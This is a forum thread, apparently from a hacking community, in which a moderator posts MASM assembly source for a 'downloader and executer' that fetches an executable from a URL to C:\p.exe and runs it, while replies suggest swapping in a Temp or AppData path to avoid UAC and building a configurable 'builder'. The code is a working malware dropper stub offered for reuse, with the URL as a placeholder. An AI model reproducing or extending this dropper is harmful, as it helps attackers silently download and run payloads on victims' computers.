• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

ASM Simple Downloader & Executer[MASM]

Status
Not open for further replies.

top10

Moderator
User
Joined
Mar 18, 2015
Messages
487
Reputation
0
Reaction score
5,047
Points
243
Credits
0
‎10 Years of Service‎
70%
[LENGUAJE=ASM].386

.model flat,stdcall

option casemap:none

include \masm32\include\windows.inc

include \masm32\include\kernel32.inc

include \masm32\include\urlmon.inc

includelib \masm32\lib\urlmon.lib

includelib \masm32\lib\kernel32.lib

includelib \masm32\lib\shell32.lib

include \masm32\include\shell32.inc

.data

file db "http://download01.windirstat.info/wds_current_setup.exe",0

path db "C:\p.exe",0

.code

start:

invoke URLDownloadToFile, 0, addr file, addr path, 0, 0 ;Download file to "C:\p.exe"

invoke ShellExecuteA, 0, 0, addr path, 0, 0, SW_SHOW ;Execute C:\p.exe

invoke ExitProcess,0 ;Exit process

ret

end start[/LENGUAJE]

 
Re: Simple Downloader & Executer[MASM]

Can you get builder for it,

and also its useless unless you get the path to temp folder or Appdata as C Drive will need UAC.

 
Re: Simple Downloader & Executer[MASM]

Can you get builder for it,and also its useless unless you get the path to temp folder or Appdata as C Drive will need UAC.
Yes i know,is simple a proof of concept,change the path and the download url,compile without problems i made and tried by myself,regards.

 
Re: Simple Downloader & Executer[MASM]

[MENTION=16374]ytub420[/MENTION] you can make your own builder.... actually with any langyage providing the download location /name and the download link as feeder parameters.......

as 4 the download location you can easily change it to anything you want.... simple.

 
Re: Simple Downloader & Executer[MASM]

[MENTION=16374]ytub420[/MENTION] you can make your own builder.... actually with any langyage providing the download location /name and the download link as feeder parameters....... as 4 the download location you can easily change it to anything you want.... simple.
You are correct, but I am not that good with ASM and learning from all this examples.

I can make a builder in C# but i dont know how to get stored data/Link from resource.

 
Status
Not open for further replies.
Back
Top